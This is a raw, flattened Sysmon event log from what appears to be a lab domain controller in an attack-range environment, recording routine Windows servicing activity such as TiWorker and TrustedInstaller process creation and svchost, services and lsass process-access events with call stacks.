09:09:24.794{A5F018FF-28C4-5F80-2400-000000007F01}29883008C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.3926_none_7ec739a4221e2b99\TiWorker.exe{A5F018FF-28C4-5F80-2300-000000007F01}2948C:\Windows\servicing\TrustedInstaller.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.3926_none_7ec739a4221e2b99\TiWorker.exe+3611|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029 10341000x80000000000000001112Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.731{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C4-5F80-2400-000000007F01}2988C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.3926_none_7ec739a4221e2b99\TiWorker.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001111Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.731{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28C4-5F80-2400-000000007F01}2988C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.3926_none_7ec739a4221e2b99\TiWorker.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001110Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.731{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C4-5F80-2400-000000007F01}2988C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.3926_none_7ec739a4221e2b99\TiWorker.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001109Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.735{A5F018FF-28C4-5F80-2400-000000007F01}2988C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.3926_none_7ec739a4221e2b99\TiWorker.exe10.0.14393.3926 (rs1_release.200817-1737)Windows Modules Installer WorkerMicrosoft® Windows® Operating SystemMicrosoft CorporationTiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.3926_none_7ec739a4221e2b99\TiWorker.exe -EmbeddingC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=A8CBBA3111CF28435F7E8C8B94EC6FBD,SHA256=D4DDF9F7CB94FE55C7EA1CA90AB9638A883B84308C858EF466554E32FB17EFC3,IMPHASH=38FF53C1CCC1EE4C508C0F83A88C4E19{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000001108Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.715{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28C4-5F80-2300-000000007F01}2948C:\Windows\servicing\TrustedInstaller.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001107Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.684{A5F018FF-28BD-5F80-0A00-000000007F01}8521364C:\Windows\system32\services.exe{A5F018FF-28C4-5F80-2300-000000007F01}2948C:\Windows\servicing\TrustedInstaller.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001106Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.684{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28C4-5F80-2300-000000007F01}2948C:\Windows\servicing\TrustedInstaller.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001105Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.684{A5F018FF-28BD-5F80-0A00-000000007F01}852944C:\Windows\system32\services.exe{A5F018FF-28C4-5F80-2300-000000007F01}2948C:\Windows\servicing\TrustedInstaller.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d7ae|C:\Windows\system32\services.exe+4c6c|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001104Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.687{A5F018FF-28C4-5F80-2300-000000007F01}2948C:\Windows\servicing\TrustedInstaller.exe10.0.14393.3564 (rs1_release.200303-1942)Windows Modules InstallerMicrosoft® Windows® Operating SystemMicrosoft CorporationTrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=187076E4BC7B2F5FB7D54D1234B3CDEA,SHA256=7AE4CC64E2F0E5C58ABB6542233DA78B9AEAAD22C9D853AB96265EF3FBFEFABE,IMPHASH=648F735E453FC6802BFAECAC5ACA72A4{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001103Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.669{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001102Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.669{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001101Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.669{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001100Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.669{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001099Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.669{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001098Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.669{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001097Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.669{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001096Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.653{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001095Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.653{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001094Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.653{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001093Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.653{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001092Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.653{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001091Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.653{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001090Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.653{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001089Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.653{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001088Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 